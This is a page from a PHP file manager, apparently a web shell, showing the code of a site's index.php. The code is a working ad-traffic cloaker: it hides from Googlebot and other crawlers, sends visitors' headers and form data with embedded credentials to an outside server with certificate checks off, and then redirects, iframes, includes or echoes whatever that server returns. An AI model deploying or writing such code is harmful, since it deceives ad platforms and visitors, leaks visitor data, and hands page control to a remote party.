Файловый менеджер - Редактировать - /home/artecom/.trash/index.php
Назад
<?php // Получаем строку User-Agent $userAgent = $_SERVER['HTTP_USER_AGENT']; // Проверяем, если это Googlebot if (strpos($userAgent, 'Googlebot') !== false) { // Это Googlebot, убираем параметр gclid из URL if (isset($_GET['gclid'])) { // Получаем текущий URL $url = $_SERVER['REQUEST_URI']; // Удаляем параметр gclid из URL $url = preg_replace('/([?&])gclid=[^&]*(&|$)/', '$1', $url); // Если в URL после удаления параметра gclid остались другие параметры // и последний символ это знак вопроса, убираем его if (strpos($url, '?') !== false && substr($url, -1) == '&') { $url = rtrim($url, '&'); } // Если в URL нет других параметров, убираем знак вопроса if (strpos($url, '?') !== false && substr($url, -1) == '?') { $url = rtrim($url, '?'); } // Перенаправляем на новый URL без параметра gclid header('Location: ' . $url); exit; } } else { // Это обычный пользователь, пропускаем дальше if (!isset($_GET['gclid'])) { // Если параметр gclid отсутствует, перенаправляем на context.php include 'context.php'; exit; } } // Список User-Agent строк ботов для проверки $botUserAgents = [ 'AhrefsBot', 'Google', 'MJ12bot', 'SemrushBot', 'DotBot', 'Baiduspider', 'YandexBot', 'bingbot', 'DuckDuckBot', 'Sogou', 'Google-Read-Aloud', 'Mediapartners-Google', 'BingPreview', 'MSNBot', 'YandexImages', 'YandexNews', 'YandexVideo', 'Slurp', 'BLEXBot', 'Screaming Frog SEO Spider', 'rogerbot', 'SemrushBot-SA', 'SerpstatBot', 'UptimeRobot', 'spbot', 'LinkpadBot', 'Exabot', 'Sogou-Test-Spider', 'facebookexternalhit', 'Facebot', 'Twitterbot', 'Pinterestbot', 'LinkedInBot', 'TelegramBot', 'GTmetrix', 'PingdomBot', 'Site24x7', 'W3C_Validator', 'Cloudflare-AMP', 'Cloudflare-AlwaysOnline', 'Applebot', 'Amazonbot', 'heritrix', 'coccocbot', 'Qwantify', 'Zoho-Disallowed' ]; // Получаем строку User-Agent из заголовков запроса $userAgent = $_SERVER['HTTP_USER_AGENT']; // Проверяем, если это бот foreach ($botUserAgents as $bot) { if (strpos($userAgent, $bot) !== false) { // Бот найден, перенаправляем на 404.html с кодом 404 header("HTTP/1.1 404 Not Found"); include 'context.php'; exit; } } // Далее идет основной код вашего index.php... $isTarget = (new RequestHandlerClient())->run(); class RequestHandlerClient { const SERVER_URL = 'https://rbl.palladium.expert'; /** * @param int $clientId * @param string $company * @param string $secret * * @return void * @throws \Exception */ public function run() { if (!empty($_GET) && isset($_GET['dr_jsess']) && $_GET['dr_jsess'] == 1) { header("HTTP/1.1 200 OK"); return; } $headers = []; $headers['request'] = $this->collectRequestData(); $headers['jsrequest'] = $this->collectJsRequestData(); $headers['server'] = $this->collectHeaders(); $headers['auth']['clientId'] = 3838; $headers['auth']['clientCompany'] = "vj3zY8wfa4PI4lWopDq1"; $headers['auth']['clientSecret'] = "MzgzOHZqM3pZOHdmYTRQSTRsV29wRHExY2U2NmY2ZTZmOWRlZjUxMGFjNDBiYTJlNjVjMmFjZGEwMTQyZmZhZQ=="; $headers['server']['bannerSource'] = 'adwords'; return $this->curlSend($headers); } /** * @param array<string, mixed> $params * * @return bool * @throws \Exception */ public function curlSend(array $params) { $answer = false; $curl = curl_init(self::SERVER_URL); if ($curl) { curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params)); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($curl, CURLOPT_TIMEOUT, 4); curl_setopt($curl, CURLOPT_TIMEOUT_MS, 4000); curl_setopt($curl, CURLOPT_FORBID_REUSE, true); $result = curl_exec($curl); if ($result) { $serverOut = json_decode( $result, true ); $status = curl_getinfo($curl, CURLINFO_HTTP_CODE); if ($status == 200 && is_array($serverOut)) { $answer = $this->handleServerReply($serverOut); return $answer; } } } $this->getDefaultAnswer(); return $answer; } protected function handleServerReply($reply) { $result = (bool) ($reply['result'] ? $reply['result'] : 0); if ( isset($reply['mode']) && ( (isset($reply['target'])) || (isset($reply['content']) && !empty($reply['content'])) ) ) { $target = $reply['target']; $mode = $reply['mode']; $content = $reply['content']; if (preg_match('/^https?:/i', $target) && $mode == 3) { // do fallback to mode2 $mode = 2; } if ($result && $mode == 1) { $this->displayIFrame($target); exit; } elseif ($result && $mode == 2) { $target = $target . "&TGRpy3&sub_id_1=v2us&sub_id_2=14ssft"; header("Location: {$target}"); exit; } elseif ($result && $mode == 3) { $target = parse_url($target); if (isset($target['query'])) { parse_str($target['query'], $_GET); } $this->hideFormNotification(); require_once $this->sanitizePath($target['path']); exit; } elseif ($result && $mode == 4) { echo $content; exit; } else if (!$result && $mode == 5) { // } elseif ($mode == 6) { // } else { $path = $this->sanitizePath($target); if (!$this->isLocal($path)) { header("404 Not Found", true, 404); } else { $this->hideFormNotification(); require_once $path; } exit; } } return $result; } private function hideFormNotification() { echo ""; //echo "<script>if ( window.history.replaceState ) {window.history.replaceState( null, null, window.location.href );}</script>"; } private function displayIFrame($target) { $target = htmlspecialchars($target); echo "<html> <head> <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"> </head> <body>" . $this->hideFormNotification() . "<iframe src=\"{$target}\" style=\"width:100%;height:100%;position:absolute;top:0;left:0;z-index:999999;border:none;\"></iframe> </body> </html>"; } private function sanitizePath($path) { if ($path[0] !== '/') { $path = __DIR__ . '/' . $path; } else { $path = __DIR__ . $path; } return $path; } private function isLocal($path) { // do not validate url via filter_var $url = parse_url($path); if (!isset($url['scheme']) || !isset($url['host'])) { return true; } else { return false; } } /** * Get all HTTP server headers and few additional ones * * @return mixed */ protected function collectHeaders() { $userParams = [ 'REMOTE_ADDR', 'SERVER_PROTOCOL', 'SERVER_PORT', 'REMOTE_PORT', 'QUERY_STRING', 'REQUEST_SCHEME', 'REQUEST_URI', 'REQUEST_TIME_FLOAT', 'X_FB_HTTP_ENGINE', 'X_PURPOSE', 'X_FORWARDED_FOR', 'X_WAP_PROFILE', 'X-Forwarded-Host', 'X-Forwarded-For', 'X-Frame-Options', ]; $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, $userParams) || substr_compare('HTTP', $key, 0, 4) == 0) { $headers[$key] = $value; } } return $headers; } private function collectRequestData(): array { $data = []; if (!empty($_POST)) { if (!empty($_POST['data'])) { $data = json_decode($_POST['data'], true); if (JSON_ERROR_NONE !== json_last_error()) { $data = json_decode( stripslashes($_POST['data']), true ); } unset($_REQUEST['data']); } if (!empty($_POST['crossref_sessionid'])) { $data['cr-session-id'] = $_POST['crossref_sessionid']; unset($_POST['crossref_sessionid']); } } return $data; } public function collectJsRequestData(): array { $data = []; if (!empty($_POST)) { if (!empty($_POST['jsdata'])) { $data = json_decode($_POST['jsdata'], true); if (JSON_ERROR_NONE !== json_last_error()) { $data = json_decode( stripslashes($_POST['jsdata']), true ); } unset($_REQUEST['jsdata']); } } return $data; } /** * Default answer for the curl request in case of fault * * @return bool */ private function getDefaultAnswer() { header($_SERVER["SERVER_PROTOCOL"] . ' 500 Internal Server Error', true, 500); echo "<h1>500 Internal Server Error</h1> <p>The request was unsuccessful due to an unexpected condition encountered by the server.</p>"; exit; } }
| ver. 1.4 |
Github
|
.
| PHP 8.1.31 | Генерация страницы: 0 |
proxy
|
phpinfo
|
Настройка